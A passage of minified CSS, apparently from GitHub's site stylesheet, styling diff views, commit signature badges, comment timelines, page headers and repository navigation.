.dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane 